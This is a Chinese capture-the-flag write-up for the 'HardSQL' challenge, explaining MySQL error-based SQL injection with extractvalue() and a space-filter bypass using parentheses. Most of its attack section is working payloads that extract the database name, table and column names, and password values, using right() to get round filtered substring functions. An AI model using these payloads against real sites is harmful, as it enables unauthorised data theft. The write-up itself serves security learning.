[极客大挑战 2019]HardSQL

我们先进行正常输入会返回什么

试试SQL语句

经过多次尝试后发现空格和%09%0a等能代替空格的字符都被过滤了

我们可以尝试使用XML解析函数:extractvalue()

在 SQL 注入(SQL Injection)中,extractvalue() 函数通常被用在 基于报错的注入 中,且主要针对 MySQL 数据库。

以下是关于 extractvalue() 函数在 SQL 注入中的原理、常见 Payload、局限性以及防御方法的详细解析:一、 核心原理extractvalue() 是 MySQL 的一个内置 XML 函数,其语法为:EXTRACTVALUE}(xml_target, xpath_expression)

作用:根据 XPath 表达式从 XML 片段中提取目标值。漏洞利用点:当第二个参数 xpath_expression 传入了不合法的 XPath 语法格式时(例如以特殊字符 ~ 开头),MySQL 会抛出一个 XPath 语法错误。信息泄露:在报错信息中,MySQL 会将非法的 XPath 表达式内容原样回显出来。攻击者正是利用这一特性,将想要窃取的数据库敏感信息(如版本、当前用户、表名等)拼接进 XPath 表达式中,迫使数据库通过错误信息把数据"吐"出来。

并且因为payload中不能存在空格,我们可以使用()来吧语句分隔开来

1'or(extractvalue(1,(concat(0x7e,database(),0x7e))))#

得到数据库名

接下来查表名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

查字段名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

但发现显示不全,但是substr和mid函数被过滤了,试试left和right函数

1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

将前后拼接一下就得到flag

相关推荐
m0_646429971 小时前
BCrypt 与 JWT 认证流程学习笔记
笔记·学习
问心无愧05131 小时前
[GXYCTF2019]BabyUpload
笔记
http阿拉丁神猫6 小时前
Go语言入门笔记:从基础到开发环境搭建(二)
开发语言·笔记·golang
HRBorderInsight9 小时前
马来西亚人均收入一个月多少钱,个人薪资和家庭收入要分开看
经验分享·笔记
又見山10 小时前
本地 Markdown 与数据主权:你的笔记到底属于谁
笔记·obsidian
撩得Android一次心动12 小时前
Jetpack Compose 知识点整理2【个人用】
android·笔记·学习·kotlin·compose
cao233312 小时前
关于 x1 y1 等变量名冲突的指正(校对版)
笔记
Demons_kirit13 小时前
CTFHub 信息泄露通关笔记:Git泄露 Log - 教程
笔记·git·网络安全
xhyu6114 小时前
【学习笔记】图像质量评估方法 (5.生成图像是否符合用户要求)
笔记·学习·计算机视觉